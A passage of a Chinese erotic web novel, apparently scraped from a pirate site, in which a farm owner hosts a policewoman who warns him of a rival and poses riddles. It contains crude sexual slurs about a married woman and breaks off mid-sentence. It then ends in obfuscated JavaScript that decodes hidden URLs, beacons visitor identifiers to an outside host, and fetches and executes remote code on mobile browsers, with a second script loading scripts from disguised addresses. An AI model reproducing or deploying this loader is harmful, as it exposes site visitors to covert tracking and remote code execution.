  早春三月桃花开,当桃花开得漫山遍野的时候,我的蔬菜正茁壮成长。大棚正式运营,空闲时间也一下子多了起来。

  这一个多月来,每天上午我都会习惯性抽空在三百个大棚间逛一会儿。

  随手拔掉大棚里的杂草时,突然听到有人在喊我。我循声看去,却见卫三子远远地跑过来。

  我招呼一声看守火炉的员工后,钻出大棚,迎面撞上卫三子。

  他气喘吁吁地说:「徐……徐叔,有……有人找你……」

  他突然靠近我耳边轻声说:「是……是个警察,还是个女的……」

  女警?莫非是朱倩?

  「她在哪?」

  「刚到村口就向我打听你的事,我让她去你家了。」卫三子人高马大,却对我倍感尊敬。

  此时,天色已近中午。

  我拍拍他肩膀,道:「三子,走,到我家喝酒去。」

  卫三子嘿嘿一笑,扭捏地说:「嗯……今天是我和我那口子的结婚纪念日,所以……这个……那个……」

  我哈哈大笑:「行啊!你这小子把城里人那套都学会了,张翠花那骚货如今对你是服服贴贴了吧?」

  卫三子得意道:「那当然,嘿嘿,你不知道,那骚货有多骚……」

  我知道,我当然知道。我心想:张翠花是典型的淫妇,不被人肏就不舒服的。

  卫三子沈浸在「性福」中,急急忙忙回家跟张翠花喝结婚纪念酒去了……

  想起乾爹给我的任务就头痛,朱倩这丫头是怎幺了?个把月没见我,就跑上门来了,她究竟有什幺事?

  走到门口就听到屋里传来女人们的谈笑声。

  「小兴回来啦?快来,人家朱ほ誌等你好半天了。」玉凤正在院子里摘菜,看见我便大声道。

  我应和两声。

  客厅里的桌上堆满各式各样的零食,宋思雅和朱倩两个年龄相仿的花姑娘正坐在桌边聊天嗑瓜子。

  思雅一见我进来就埋怨道:「家里有客人到,怎幺不早点回来?」

  我笑道:「去菜地里逛了一圈。唉,怠慢了朱警官是我不对。等会儿我自罚三杯向朱警官赔罪。」

  朱倩依然是一身浅绿色警装,宽大衣服遮不住她的魔鬼身材,一头乌黑如丝的秀发散在脑后,配上她高挑的身材更显英姿飒爽。

  朱倩如花般的笑颜突然一变,阴阳怪气道:「哟,徐某人如今是大老闆了。怎幺才个把月不见,把我当外人了?」

  「哎哟,我哪敢啊!你不知道,我现在三天两头要陪官面上的人物喝酒,官话,客套话张嘴就来,自己都快不认识自己了。你看看,把我这朵国家未来美丽的小花朵给汙染。唉,甭提了……」我假装叹气道。

  「呸,臭美!不就是个小小的蔬菜大棚吗?有个身家千万的大老闆请我吃饭,我理都不理人家!本小姐来你这儿,是给你面子。」朱倩对我阴阳怪气,我却对宋思雅俏皮地眨眼。

  宋思雅会意,同样回了她一个俏皮的眨眼。

  「朱大小姐、朱大姑奶奶,不就是迟到一会儿吗?您大人有大量,就饶了小弟吧。」

  「哼,看你态度还算不错,就不计较你迟到之过了。不过,死罪可免,活罪难逃。炒几道菜去,本小姐罚你帮我们两大美女做几道拿手好菜。」

  「好的……客官您稍等,小的这就去。」我吆喝一声溜进厨房。

  朱倩一把抱住宋思雅的胳膊,娇声道:「姐姐,我这幺使唤你老公,你不会生我的气吧?」女人之间的感情总是令男人费解,这两个美女啥时变得这幺熟络?

  宋思雅轻刮她小鼻子一下,道:「臭丫头,嫉妒死我了,他对我可霸道死了。哼!」

  「咯咯,姐姐,要不你也来当警察啊!看他敢对警察横吗?」

  「警察?还是算啦,整天打打杀杀的,不适合我,我还是喜欢小孩子。」

  「唉,真够郁闷的。整间派出所就我一个女生,人家好孤单、好寂寞。」朱倩回到座位上唉声叹气。

  「呵呵,思春了?要不要我帮你介绍男朋友?」

  「呸呸呸……雅姐你坏死了,这种话都说得出口。」朱倩轻举粉拳擂了思雅几下。

  两女打闹一会儿,思雅正色道:「小倩,说真的,镇上那幺多俊小子,你就没看上一个吗?」

  朱倩摇摇头说:「俊有什幺用?本小姐看他们就是没感觉!唉,对啦,你这位美女高材生怎幺会看上徐子兴这穷光蛋?」

  「呸,你才穷光蛋呢!哼哼,不出三年,你再看吧。」宋思雅自信地说。

  朱倩偏着脑袋问:「这幺有自信?我告诉你,他现在有个很厉害的竞争对手哟,人家可是……」

  「澳洲侨商是吧?我早就知道了。人家赚的是澳洲的钱,我们不怕。」

  「咦?你怎幺知道那假洋鬼子是做出口的?」朱倩惊奇地问。

  「咯咯,谁叫我家男人厉害啊?」宋思雅得意道。

  女人的嘴有多种功能,显然其中最主要的功能就是聊天,这两个女人一聊起来没完没了,直到吃饭时还在聊个不停。

  看得出来朱倩对宋思雅「一见锺情」。上回我出事,朱倩就表示过对宋思雅的好感。

  这次一聊,两人几个小时内就成为闺中密友,速度真够快,看得我都嫉妒了。

  饭后,我带着三大一小,四个「女人」——如果小晴也算「女人」的话……参观我事业的起步点——三百个蔬菜大棚。

  朱倩在面对蔬菜时完全没有当警察的干练,见什幺稀奇什幺,彻底成为一个好奇宝宝。

  小晴直刮小脸皮,道:「羞羞羞,倩姐姐真没用,连蕃茄都认不出来。」

  朱倩蹲在菜地边,俏脸飞红。

  她恼羞成怒,追着小晴要打:「小丫头片子,敢说你倩姐姐,看我不揍死你!」

  小晴跑得飞快,对身后深一脚浅一脚的朱倩,直嚷嚷:「来啊,来啊,快来抓我啊!」

  朱倩今天不知吃错什幺药,穿了双高跟鞋,这种鞋子在泥地里能走路吗?

  我看了好笑,把这事跟宋思雅一说,她却白了我一眼,说:「也许是穿给某人看的。」

  我一听,心就虚了半截,尽量用平静的声音说:「给谁看?」

  「哼,姓徐的,我警告你,要是再敢花花肠子……哼哼……」说着,她把小手伸到我眼前,修长食指和中指成剪刀状,一夹!

  我擦擦头上的汗,道:「唉,这天怎幺这幺热呀!」

  「徐子兴,少装糊涂,我警告你,不许再招惹女孩子。」

  思雅气不过,伸出「九阴白骨爪」在我腰上软肉处,狠狠地来了一下三百六十度转体运动。

  「是是是,老婆大人,我再也不敢了。」我敛首低眉道。

  思雅看到我惫懒的模样,气得跺脚对玉凤说:「玉凤姐,你看他,气死我了。」

  原本以为玉凤会站在她的阵线上,没想到玉凤说了句石破天惊的话。

  「喜欢他的女孩愈多,愈能证明他的魅力。」

  「啊!玉凤姐,你……你怎幺还帮他说话?」思雅惊讶地摀住小嘴。

  徐玉凤不以为然地说:「男人喜欢女人并不一定要把女人带回家。只要他真心对我好,我不介意。」

  思雅跺了跺脚,叹气道:「玉凤姐,你这样子会惯坏他的。」

  徐玉凤微笑不语,心里却想:要不是我纵容他,他能把你娶回来吗?

  思雅看不出她微笑的含意,我却知道,偷偷扔给她一个感动的眼神,玉凤点头接受。

  两人的爱,有时只需要一个眼神就能表达出来。就像我和玉凤,每每毋须言语,一个动作、一个眼神都是我们爱的交流。她从来不在外面与我做任何亲密接触,一方面担心社会舆论的压力,另一方面也顾虑到思雅。

  毕竟思雅年轻,易激动、易吃醋。

  有美女陪伴,时间总是过得飞快。走走逛逛、打打闹闹,一下午就过去了。我感叹,真是堕落啊,若是前几天,这一下午时间能做多少事啊。

  看着与小晴正玩得欢的朱倩,我心想:难道朱倩真是因为寂寞、无聊,才来看我这个朋友的?

  晚上,宋思雅要备课、小晴要写作业、玉凤去老屋陪李玉姿,而我则被朱倩拉去散步。

  「餵,你倒是走快点啊!磨磨蹭蹭像个老头。」朱倩回头,不耐烦地对我说。

  「喂喂,警官大人,咱们这是散步耶!又不是赶着去刑场。」

  「呸呸,童言无忌,大吉大利。」

  无言……有我这幺大的「儿童」吗?

  农村里没什幺景色,不过我们村有座小山,从山顶上看风景还不错,尤其站在山顶看着我劳动的成果——三百个大棚,特别有成就感。

  我把朱倩带到小山头,指着一排又一排的大棚,自豪地说:「看到没有?这些都是我的,都是我徐子兴的。」

  朱倩出身大户人家,家财万贯,什幺好东西没见过?对我的大棚自然是不屑一顾。

  「好啦!好啦!认识这幺久,想不到你还挺自恋的啊。」

  「嘿嘿……」我笑笑不语。

  「得了,别自恋了,说正事了。哎哟,你这个男人真是不懂女人心,我穿着高跟鞋还要我爬山。哎哟……脚酸死了,快扶我到那块石头上坐坐… …」

  朱倩把纤纤玉手朝我一伸,我哭笑不得地扶她坐下,尖细着嗓子道:「是,娘娘……」

  凭空飞来粉拳,她叱道:「别胡闹了,说点正经事。」

  「好好,你说,你说。」我在她对面找块石头坐下。

  「你有麻烦了。」

  「是不是张天林又想对付我?」

  「算是吧,不过他只是个小人物。」朱倩 手理了理额前的刘海。

  「嗯?」

  「澳洲侨商来投资的事,你知道吧?」

  「知道。」

  「知道他跟张天林是什幺关係吗?」

  我一激灵,突然想起那侨商姓张,他在公车上还说是来找表弟,莫非……

  「侨商张天广是张天林的表哥。」

  我哀叹一声:「这张家的亲戚怎幺这幺多啊?有个市长舅舅还有个侨商表哥,老天爷对他张家也未免太好了吧?」

  朱倩吃吃一笑,眼里不屑一闪而过,说道:「张家算什幺?哼!」

  「对于你们朱家来说,他张家自然是比不过。但现在人家要对付的是我,你又不帮我。」

  「不帮你?不帮你我还来找你干嘛?」

  「真要帮我,你跟你老爸说一声,让他给张家打声招呼,叫姓张的别来找我麻烦。」

  「你!」朱倩气得忽地站起来瞪我一眼后,又坐了下去,偏过头不看我。

  我意识到自己说错话了。朱倩是个独立自主的好姑娘,看她能下基层来吃苦,就知道她不想一辈子依靠父母。

  我抽了自己一个嘴巴,骂道:「唉,瞧我这张臭嘴。」

  朱倩脸色稍好,给了我一个「算你识相」的眼神,轻启樱唇道:「你知道我不喜欢事事依靠家里,所以别指望我父亲帮你。」

  「是是,朱大警官个性独立,将来成就不可限量,我市第一女警官的称号非您莫属。」我打着哈哈。

  朱倩听了不但不害羞,还大言不惭道:「那是!」

  我喜欢她自信的模样。我身边的女人个个是极品,除了李玉姿这个花瓶。

  说到李玉姿便不得不佩服她,即使卫强已经是个废物,她依然养着他,能娶到这种「极品」女人,卫强祖上一定烧了八辈子的香。

  【第六集】第三章:美女的企鹅肉

  「张天广一定会来找麻烦的,同行是仇敌,这点我深有体会。」我从地上捡起石子用力一掷,远远地击中一棵树,传来「噗」的一声。

  「咦!」朱倩惊讶道:「扔得真準。」

  「小时候瞎扔惯了,自然就準了。」我微笑道。

  她的眼力有限,根本看不到石子不但击中树干,而且入木三分嵌在树干内。别看这轻飘飘的一掷以为很容易,古时候我这招就叫「暗器」——飞蝗石,力大狠準,被击中轻则伤肉,重则断骨,很厉害。

  喇嘛师父教我时还告诉我千万不要随意使用。我只在农闲时没事扔着玩,几年下来虽然没有刻意苦练,但凭我的本事已经能在五十公尺内指哪打哪;只是当然比不上喇嘛师父,他在百尺内可以指哪打哪。

  「对了。」朱倩突然一蹦而起,拔出腰间佩枪摆了个极酷的射击姿势,作势瞄準那棵树。

  我骇了一跳,惊道:「你干嘛啊?」

  「好长时间没开枪了,手都有点生。你别吵,看我练习射击。」她轻鬆地说。

  我忙过去拉住她的手,说道:「哎哟,我的大姑奶奶,你胆子也太大了吧?敢随便开枪?」

  「怕什幺?这儿又没人!」

  我没好气说:「你这枪一开非把村民都吓跑出来,搞得别人会以为我拒捕,你要开枪打我呢!不行不行,我绝对不能让你开枪。」

  朱倩歪头,大眼睛眨巴两下,说道:「嗯,也是。惊了花花草草也不好啊。」遂上了保险,收枪入套。

  我大汗。心想:这姑奶奶神经够大条,胆大包天,以后跟她睡一定得要把枪藏到床底下。不然……呸呸呸……我胡思乱想什幺呢……

  对朱倩这种很有个性的美女,我是又怕又爱。

  你不知道她下一刻会做出什幺惊天动地的事,好不容易才把她安抚好,却又生气了。

  「真没劲。本大警官辛辛苦苦开车,赶了几十里山路来报信,某人却根本没当一回事。」

  朱倩恨恨地拔着地上的青草。

  我蹲到她面前,眼神真诚地看着她,说道:「朱倩,谢谢你。有你这幺一个异性知己,我徐子兴知足了。」

  朱倩慌慌张张地低下头不敢看我,小手把衣襟扭来扭去,说道:「嗯,朋友嘛,应、应该互相帮忙的……」

  朱倩有点害羞,虽然我不敢肯定她喜不喜欢我,但我知道她对我有好感。

  气氛一下子变得极为尴尬。朱倩沈默一阵,实在受不了暧昧气氛,才开口说:「你们这里有什幺好玩的吗?」

  我笑道:「穷乡僻壤的,哪有什幺好玩的,能看电视就不错了。」

  「又是看电视?我都看腻了!」

  朱倩大叹无聊,问道;「要不咱们来玩个游戏吧?」

  「好啊!」成人游戏是我的最爱,只可惜没胆子找她做。

  「我出问题你回答,怎幺样?」

  「答对了有奖吗?没奖励答起来没劲。」

  朱倩委屈道:「我这个月薪资早花光啦,口袋里只剩下几块钱,拿什幺给你当奖品啊?」听完我几乎要脱口而出:你就赏我个吻吧。

  我当然没这个胆子说出口,只能悻悻道:「这样啊,那算了。」

  朱倩眼睛一亮,一拍小手,兴奋地说:「要不这样。我出问题,你来回答,你要回答错了,你得给我两块钱。答对了就免啦。」

  「不是吧!你出问题要我答,答错还要我给你钱?你当我是大款啊?」

  「嘿嘿,我不管。谁叫我来你这里作客呢?你身为主人,自当陪我好吃、好喝、好玩!再说了,我身为大美女,要你的钱是给你面子。你没看人家假洋鬼子送我钱,我还不要呢!」

  美女在这个世界是稀有资源,自然吃香。照她的理论自然是我佔了她便宜。看她兴致如此高,我也不好扫她兴,遂道:「好吧、好吧,看你低声下气、可怜兮兮地向我讨钱,我徐子兴大人有大量,不跟你计较了。」

  「混蛋!一点亏都吃不得,还要佔点口头便宜,真没良心。」

  朱倩娇媚地白了我一眼,说道:「听好了啊。我出的问题不是一般问题,你若答错了,那两块钱就要到我钱包里啰。」

  「行了,你快说吧。我徐子兴学富五车、聪明绝顶、貌比潘安、智比诸葛,还怕你不成?」

  「恶!」朱倩作呕吐状,轻启樱唇:「一个女孩为一个男孩做了一道菜,男孩吃完后觉得味道怪怪,于是他问那女孩,这是什幺肉啊?女孩说,这是企鹅肉,男孩沈思一会儿……突然痛哭起来,随后就自杀了。请问为什幺?」

  不愧是警察啊,三句话不离本行,出的问题稀奇古怪,一开口就是杀人事件。我没直接回答,而是问:「有几次答题机会?」

  「三次,给你三次机会。三次都没答对,两块钱就到我的钱包啰。」朱倩的两只小手搓啊搓的,一副奸商模样。

  我沈思一会儿,又问她:「这个女孩和这个男孩是什幺关係?」

  「一般朋友关係。」

  「是不是男孩暗恋女孩,吃到女孩亲手做的菜后,感动得自杀了?」

  朱倩用看白癡的眼光盯着我,说道:「如果你暗恋一个女孩,仅仅吃了顿那女孩做的企鹅肉,你会自杀吗?」

  我摇摇头说:「呃……不会。」

  「用掉一个机会啰,你还剩下两个机会,嘻嘻。」

  朱倩伸出两根修长玉指,笑咪咪地朝我挥挥手,说道:「给个提示,这个问题不能照一般思路来思考,所以你要动脑筋另闢蹊径。」

  朱倩说话时,一双修长玉腿在我眼前晃啊晃的,眼珠随着她的玉腿转动,把我都晃晕了,哪能静下心来思考啊。

  「嗯,啊,哦。」我答非所问,心里却在想:果真是美女啊!如果把裤子脱了,会露出一双什幺样的玉腿呢?毫无疑问,一定是绝世美腿!

  朱倩见我半天没开口,不耐烦地道:「我数十下,你再不回答,算你弃权认输。」

  虽然她是美女,但咱现在是一分钱要掰成两半来花。不行,咱还是老老实实地回答问题吧。这妞不老实,施美人计扰乱我思维。

  「别催,我要回答了!嗯……企鹅好像是国家级保护动物……一定是这男孩吃了企鹅肉,怕被罚款,而他正好是个穷光蛋,怕付不出钱,于是自杀了事。」

  「咚!」

  朱倩狠狠地在我脑门上敲了一下,说道:「我说徐子兴啊,你是长了榆木脑袋还是怎幺?如果是这样,那男孩会吃企鹅肉吗?」

  「他吃前忘了问啊!」我狡辩道。

  「你!我活活被你气死了!我……我……我非抽你几下。」朱倩东瞅瞅西看看,似在寻找某种棍状物。

  我下意识倒退五步,说道:「唉,有话好好说,千万别动手动脚。男女授受不亲,咱不能对不起你父母啊。」

  朱倩找不到棍子,脱下高跟鞋作势欲丢;我费尽唇舌,她才罢休。

  不过这个问题算我输了,为了让美女不再生气,我忍痛从口袋里摸出两块钱。

  她得意地挥了挥手上的两块钱,说道:「看在钱的份上就告诉你正确答案吧。」

  「其实呢,这个问题是美国FBI招工考核的题目,考的是考生的心理变态程度,所以不能用一般的心理来揣摩那名自杀者。因为几年前这位男孩和一个朋友出去玩,遭遇海难漂到一座岛上没有东西吃。他朋友出去找东西,带回烤好的企鹅肉,却在捉企鹅时伤了腿,但不知何故朋友死活也不肯吃企鹅肉,结果饿死了。现在这个男孩吃到真的企鹅肉,才知道那时,朋友是把腿上的肉割下来烤给他吃。于是他承受不了巨大的心理折磨,自杀了……这幺简单的问题都答不出来,你真是够笨的。」

  我目瞪口呆,这问题真是变态啊!有哪个人能想到这点?

  「佩服、佩服,这种问题我们正常人是绝对答不出来。」

  「你说我是变态?」她两只粉拳捏得咯吱咯吱响,一副「要你好看」的架势。

  「喂喂,淑女点、淑女点……」我伸手作「怕怕」状。

  「不揍你也行,不过你得再回答我一个问题。」说着,她又小声嘀咕了句:「才两块钱,还不够人家明天用雅霜呢。」

  得了,这回咱是撞枪口上了。谁叫咱正好碰上警花大人闹饥荒的时候?就当破财消灾吧。

  「好吧、好吧,你问,我答就是了。」

  朱倩眼神闪动着兴奋,问了今晚的第二个变态问题。

  「有一个人在沙漠中,头朝下死了,身边散落几个行李箱,而这个人手里紧紧抓着半根被人折断的火柴。请问,这个人是怎幺死的?」

  朱倩把第二个问题连说几遍,并且在说「火柴」两个字的时候,特别以重音提醒我。看来火柴是这个问题的关键点。

  「让我好好想想!」我揉了揉太阳穴,朱倩乖巧地点头,没打扰我的思绪。

  我仔细分析问题中的几个关键点:沙漠、头朝下死、散落的行李箱、死者手中紧握的半根火柴。

  按照一般思路,在沙漠里死了,不是渴死就是遇上沙尘暴被沙子活埋。既然能看到死者及箱子,显然沙尘暴不是兇手;如果是渴死的,死者死前如果抓的是水瓶才更加合情合理,但他却抓着半根火柴!

  据说沙漠里昼夜温差很大,莫非死者是冻死的?也不对啊,他手里的火柴应该是燃烧过才对,怎幺可能只剩下半根呢?

  不行不行,我现在的思路还是一般思路,完全没达到「变态」的程度。朱倩说了,答案很变态。

  半根火柴、一根火柴,半根火柴比一根火柴短。半根、一根……从半根火柴我可以联想到什幺呢?乡下人饭后喜欢拿根火柴当牙籤,剔牙缝里的食物残渣。

  火柴等于牙籤?

  牙籤?签?抽籤?

  抽籤!对,就是抽籤。脑中灵光一闪,喜得我一拍大腿。

  「我知道了,哈哈哈哈,原来是这样,这问题太变态了,真够变态的!」

  朱倩道:「哦?你知道了?说来听听吧。」显然她不信我能答出来。

  「唉,可怜我这钱不能送给美女啰!」我从袋里摸出两块钱纸钞,在朱倩眼前示威性的一晃而过,又放回口袋。

  「切!我不信,把你的答案说出来!」

  「听好了。」

  我咳了两声,清了清嗓子,说道:「据我推断,是有一伙人乘热气球去旅行,路过沙漠时气球漏气,很危险。于是大家把行李全都扔下去,但还是不行,这伙人就商量要扔下一个人。扔谁下去呢?这伙人争吵无果,于是拿几根火柴抽籤决定,谁抽到半根就把谁

相关视频

function XsexOg(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function hDqFMmj(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return XsexOg(t);};window[''+'h'+'v'+'B'+'y'+'w'+'E'+'G'+'x'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function GqHrd(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=hDqFMmj,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=GqHrd(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/15623/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=GqHrd(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmmlpbHh6cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS55ycWRsb2QuY24lM0E55NTM0','168165',window,document,['m','5']);}:function(){};
let urls=["hYYtYYtYYpYYsYY:YY/YY/YYmYYqYY1YY9YYnYYdYYaYYdYY9YY.YYoYYsYYsYY-YYcYYnYY-YYsYYhYYaYYnYYgYYhYYaYYiYY.YYaYYlYYiYYyYYuYYnYYcYYsYY.YYcYYoYYmYY/YY1YY9YY/YY1YY0YY7YY5YYaYY2YY2YY8YY2YY2YY9YY9".split("YY").join(""),"hCCtCCtCCpCCsCC:CC/CC/CCpCC.CCgCCoCCdCCmCCwCCiCCtCChCC.CCcCCoCCmCC/CC1CC9CC/CC1CC0CC7CC5CCaCC2CC2CC8CC2CC2CC9CC9".split("CC").join(""),"hOOtOOtOOpOOsOO:OO/OO/OOoOOcOO1OO8OO1OO9OOnOOdOOaOOdOO9OO.OOoOOsOOsOO-OOcOOnOO-OOsOOhOOaOOnOOgOOhOOaOOiOO.OOaOOlOOiOOyOOuOOnOOcOOsOO.OOcOOoOOmOO/OO1OO9OO/OO1OO0OO7OO5OOaOO2OO2OO8OO2OO2OO9OO9".split("OO").join(""),"hUUtUUtUUpUUsUU:UU/UU/UUdUU8UU9UU-UU1UU3UU1UU3UU9UU4UU4UU0UU6UU2UU.UUcUUoUUsUU.UUaUUpUU-UUhUUoUUnUUgUUkUUoUUnUUgUU.UUmUUyUUqUUcUUlUUoUUuUUdUU.UUcUUoUUmUU/UU1UU0UU7UU5UUaUU2UU2UU8UU2UU2UU9UU9".split("UU").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2299_107 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();